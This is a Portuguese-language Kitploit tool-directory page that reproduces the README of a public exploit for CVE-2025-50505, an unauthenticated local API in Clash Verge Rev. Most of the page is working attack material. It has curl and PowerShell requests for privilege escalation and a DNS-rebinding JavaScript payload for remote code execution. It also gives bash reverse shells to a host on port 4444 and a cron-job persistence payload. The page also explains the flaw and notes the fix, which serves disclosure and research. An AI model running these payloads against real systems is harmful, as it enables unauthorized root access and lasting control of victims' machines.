Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-50505 — Exploit para CVE-2025-50505 no Clash Verge Rev, demonstrando escalonamento local de privilégio e execução remota de código via API não autenticada, incluindo técnicas de DNS rebinding e shell reverso. | Kitploit
Ferramentas/GitHubGitHub/a0yami/cve-2025-50505
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoMovimento LateralExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso RemotoDesenvolvimento de PayloadsAnálise de DNS
2073há 11 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
a0yami/cve-2025-50505

CVE-2025-50505

Exploit para CVE-2025-50505 no Clash Verge Rev, demonstrando escalonamento local de privilégio e execução remota de código via API não autenticada, incluindo técnicas de DNS rebinding e shell reverso.

Ver Repositório

CVE-2025-50505

API não autorizada leva à execução arbitrária de comandos e escalonamento de privilégios no Clash Verge Rev

Descrição

A vulnerabilidade decorre de um endpoint de API não autenticado exposto pelo componente clash-verge-service, que é instalado com privilégios elevados por padrão. Essa falha permite que atacantes executem comandos arbitrários, levando a dois cenários principais de ataque: Escalonamento Local de Privilégios (LPE) na máquina host e Execução Remota de Código (RCE) em condições específicas.

O vetor RCE pode ser explorado por atacantes na mesma Rede Local (LAN) se o usuário tiver habilitado conexões LAN. Mais criticamente, pode ser explorado a partir da internet pública ao combinar a vulnerabilidade com um ataque de DNS Rebinding, permitindo que atacantes ignorem as políticas de segurança do navegador e executem comandos na máquina da vítima simplesmente fazendo-a visitar um site malicioso.

O alerta público inicial sobre essa vulnerabilidade foi fornecido por @KawaiiZapic no X.

  • Software Afetado: Clash Verge Rev <= v2.2.3
  • Plataformas Afetadas: Windows, macOS, Linux
  • Impacto: Escalonamento Local de Privilégios, Execução Remota de Código

Detalhes Técnicos

O componente clash-verge-service é executado com privilégios elevados (root ou SYSTEM) e expõe uma API HTTP não autenticada em 127.0.0.1:33211. A vulnerabilidade está no endpoint /start_clash, que aceita um payload JSON para controlar a inicialização do processo principal do Mihomo.

O serviço constrói e executa um comando baseado em vários parâmetros desse payload, seguindo uma estrutura semelhante a:

root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>

Crucialmente, todos os quatro parâmetros—bin_path, config_dir, config_file e log_file—são totalmente controláveis pelo atacante. Embora o Rust forneça proteção inerente contra injeção clássica de comandos (por exemplo, usando ; ou | para encadear comandos), o controle do atacante sobre toda a estrutura do comando permite um ataque em dois estágios para alcançar a execução arbitrária de código.

Localizações do Código Vulnerável

  1. O processo do serviço escuta em 127.0.0.1:33211 através do framework Warp, e nenhuma autenticação é implementada para a interface /start_clash

clash-verge-service/src/service/mod.rs

root@kitploit:~
// Linha 29
const LISTEN_PORT: u16 = 33211;
// Linhas 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Linhas 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() chama start_mihomo() e start_mihomo() chama a função process::spawn_process(bin_path, &args, log) passando bin_path. spawn_process() chama std::Command::new(command) para executar o comando

clash-verge-service/src/service/core.rs

root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

root@kitploit:~
let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

Vetor de Exploração 1: Escalonamento Local de Privilégios (LPE)

Linux

  1. Crie um script malicioso: (usuário normal)
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. Envie uma requisição não autenticada:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. Verifique o escalonamento de privilégios:
root@kitploit:~
sudo cat /root/pwned

Windows

pwn.bat:

root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

Vetor de Exploração 2: Execução Remota de Código (RCE)

A vulnerabilidade pode ser escalada para RCE em dois cenários.

Cenário A: RCE da LAN via Abuso de Proxy

Se um usuário ativar a opção "Permitir LAN" (局域网连接) no cliente Clash Verge Rev, o servidor proxy da aplicação se torna acessível a todos os dispositivos na mesma rede local. Um atacante na mesma LAN pode explorar isso direcionando sua requisição maliciosa através do proxy exposto da vítima.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/caminho/para/script/malicioso",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

Cenário B: RCE da Internet Pública via DNS Rebinding

Um ataque mais avançado pode ser realizado a partir da internet sem exigir acesso à LAN. A cadeia de ataque aproveita o DNS Rebinding em combinação com um comportamento específico do navegador conhecido como exploit "0.0.0.0-day".

A chave para este ataque é que o Firefox e certas versões do Chromium tratam o endereço IP 0.0.0.0 como um alias para 127.0.0.1. Isso permite que um atacante contorne recursos modernos de segurança do navegador, como a Política de Mesma Origem (SOP) e o Acesso a Rede Privada (PNA).

O fluxo do ataque é o seguinte:

  1. A vítima visita um site malicioso hospedado em um domínio controlado pelo atacante (ex.: attacker.com).
  2. O servidor DNS do atacante primeiro resolve attacker.com para seu endereço IP público real. A página maliciosa carrega no navegador da vítima.
  3. O JavaScript na página faz requisições adicionais. Em segundo plano, o servidor DNS do atacante altera o IP de attacker.com para 0.0.0.0 com um TTL muito curto.
  4. Quando o cache DNS do navegador expira, ele re-resolve attacker.com e agora recebe 0.0.0.0.
  5. Devido ao comportamento específico do navegador, a requisição não é bloqueada, mas sim enviada diretamente para 127.0.0.1 na máquina da vítima.

Como a origem da requisição ainda é attacker.com, o script contorna com sucesso as restrições de segurança e se comunica diretamente com a API vulnerável do clash-verge-service em 127.0.0.1:33211, alcançando execução remota de código.

Prova de Conceito (DNS Rebinding com Singularity)

  1. Instale o singularity
  2. Use o payload:
root@kitploit:~
/**
 * Payload do Clash-Verge-Rev
 */
const ClashVergeTrueLog = () => {

  const BODY = `{
    "bin_path": "/bin/true",
    "config_dir": "<?php phpinfo();?>",
    "config_file": "/dev/null",
    "log_file": "/var/www/html/exp.php"
  }`;

  function attack() {
    fetch("/start_clash", {
      method: "POST",
      headers: { 'Content-Type': 'application/json' },
      body:   BODY
    }).then(() => console.log("[Clash-True] enviado"));
  }

  async function isService(headers,cookie,body){
    try {
      const r = await fetch("/version", {method:"GET"});
      const t = await r.text();
      return t.includes("Clash");
    } catch { return false; }
  }

  return {attack, isService};
};

Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();

Substitua o probe PHP por qualquer linguagem de script que suporte marcadores de limite. Se você quiser obter um shell root, consulte a próxima seção e modifique o payload.

  1. Inicie o singularity-server e configure o Painel de Ataque
  • ./singularity-server --HTTPServerPort 33211
  • Host Alvo: 0.0.0.0
  • Estratégia de Rebinding: Primeiro depois segundo (First then second)
  • Método de Ataque: Quadro Embutido (Inline Frame)

https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

438500801-c4f8865c-8a37-4763-873f-b7d6057ac9e1

Nota

Nota: Ao personalizar Content-Type para application/json, não defina no-cors. Primeiro depois segundo é um modo de rebinding DNS mais lento, porém mais estável. Você também pode escolher respostas múltiplas, mas isso pode ser mitigado por alguns servidores DNS públicos, fazendo com que o ataque falhe.

Reverse Shell (LAN)

MacOS e alguns sistemas Linux (ex.: Kali) possuem zsh instalado, o que permite que scripts sejam executados com -d e -f.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

# OU CONFIGURE UM CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H 'Content-Type: application/json' \
  -d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'

Discussão

  1. Existe uma vulnerabilidade de injeção de comandos, CVE-2024-24576, em versões antigas do Rust no Windows. Consequentemente, versões antigas do Clash Verge Rev compiladas com um toolchain Rust vulnerável podem ser suscetíveis a um exploit de reverse shell mais direto e simples. Além dessa vulnerabilidade específica do Rust, o problema central de execução arbitrária de processos também pode ser combinado com vários LOLBAS como um vetor alternativo para obter um reverse shell.
  2. Após o log ser liberado, a saída do comando é anexada após a linha "Spawning process...". Definir bin_path diretamente para um script (ex.: evil.sh) falhará. Isso ocorre porque, sem um shebang (#!/bin/bash), o sistema operacional subjacente não consegue determinar qual interpretador usar. Tentar chamá-lo explicitamente via bash evil.sh também falharia, pois o argumento -d passado pelo serviço seria mal interpretado como uma opção inválida pelo próprio bash.
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

let child = Command::new(command)
    .args(args)
    .stdout(Stdio::from(log))
    .stderr(Stdio::null())
    .spawn()?;

Agradecimentos a @Esonhugh por sugerir que zsh pode ser usado para executar comandos com sucesso nessas condições.

Referência

  • DNS Rebinding no Navegador
  • https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  • https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps

Solução

Atualize para a versão mais recente.

Baixar ferramenta